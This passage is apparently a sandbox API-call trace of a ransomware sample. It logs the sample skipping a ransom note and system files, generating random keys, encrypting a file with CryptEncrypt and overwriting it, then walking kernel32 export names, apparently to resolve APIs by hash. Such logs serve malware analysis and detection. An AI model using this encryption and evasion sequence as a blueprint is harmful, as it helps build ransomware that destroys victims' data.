dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.511] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.511] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0147.511] lstrcmpiW (lpString1="Rotate3.ico", lpString2="DECRYPT-FILES.html") returned 1 [0147.511] lstrcmpiW (lpString1="Rotate3.ico", lpString2="autorun.inf") returned 1 [0147.511] lstrcmpiW (lpString1="Rotate3.ico", lpString2="boot.ini") returned 1 [0147.511] lstrcmpiW (lpString1="Rotate3.ico", lpString2="desktop.ini") returned 1 [0147.511] lstrcmpiW (lpString1="Rotate3.ico", lpString2="ntuser.dat") returned 1 [0147.511] lstrcmpiW (lpString1="Rotate3.ico", lpString2="iconcache.db") returned 1 [0147.511] lstrcmpiW (lpString1="Rotate3.ico", lpString2="bootsect.bak") returned 1 [0147.511] lstrcmpiW (lpString1="Rotate3.ico", lpString2="ntuser.dat.log") returned 1 [0147.511] lstrcmpiW (lpString1="Rotate3.ico", lpString2="thumbs.db") returned -1 [0147.512] lstrcmpiW (lpString1="Rotate3.ico", lpString2="Bootfont.bin") returned 1 [0147.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0147.512] lstrlenW (lpString="Rotate3.ico") returned 11 [0147.512] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0147.512] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate3.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" [0147.512] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0147.512] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0147.512] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=894) returned 1 [0147.512] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0147.512] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0147.584] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0147.584] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0147.584] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0147.585] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0147.585] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0147.585] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.586] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0147.586] CloseHandle (hObject=0x5f8) returned 1 [0147.586] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.586] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0147.587] CloseHandle (hObject=0x0) returned 0 [0147.587] CloseHandle (hObject=0x5f4) returned 1 [0147.588] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.588] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.588] GetTickCount () returned 0x3a2aa [0147.588] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0147.589] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0147.589] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0147.589] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0147.589] lstrlenA (lpString="kernel32.dll") returned 12 [0147.589] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0147.590] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0147.590] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0147.590] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0147.590] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0147.590] lstrlenA (lpString="ADDATOMA") returned 8 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0147.590] lstrlenA (lpString="ADDATOMW") returned 8 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0147.590] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0147.590] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0147.590] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0147.590] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0147.590] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0147.590] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0147.590] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0147.590] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0147.590] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0147.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0147.591] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0147.591] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0147.591] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0147.591] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0147.591] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0147.591] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0147.591] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0147.591] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0147.591] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0147.591] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0147.591] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0147.591] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0147.591] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0147.591] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0147.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0147.591] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0147.592] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0147.592] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0147.592] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0147.592] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0147.592] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0147.592] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0147.592] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0147.592] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0147.592] lstrlenA (lpString="BACKUPREAD") returned 10 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0147.592] lstrlenA (lpString="BACKUPSEEK") returned 10 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0147.592] lstrlenA (lpString="BACKUPWRITE") returned 11 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0147.592] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0147.592] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0147.592] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0147.592] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0147.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0147.593] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0147.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0147.593] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0147.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0147.593] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0147.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0147.593] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0147.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0147.593] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0147.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0147.593] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0147.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0147.593] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0147.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0147.593] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0147.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0147.593] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0147.594] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0147.594] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0147.594] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0147.594] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0147.594] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0147.594] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0147.594] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0147.594] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0147.594] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0147.594] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0147.594] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0147.594] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0147.594] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0147.594] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0147.594] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0147.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0147.594] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0147.595] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0147.595] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0147.595] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0147.595] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0147.595] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0147.595] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0147.595] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0147.595] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0147.595] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0147.595] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0147.595] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0147.595] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0147.595] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0147.595] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0147.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0147.595] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0147.596] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0147.596] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0147.596] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0147.596] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0147.596] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: 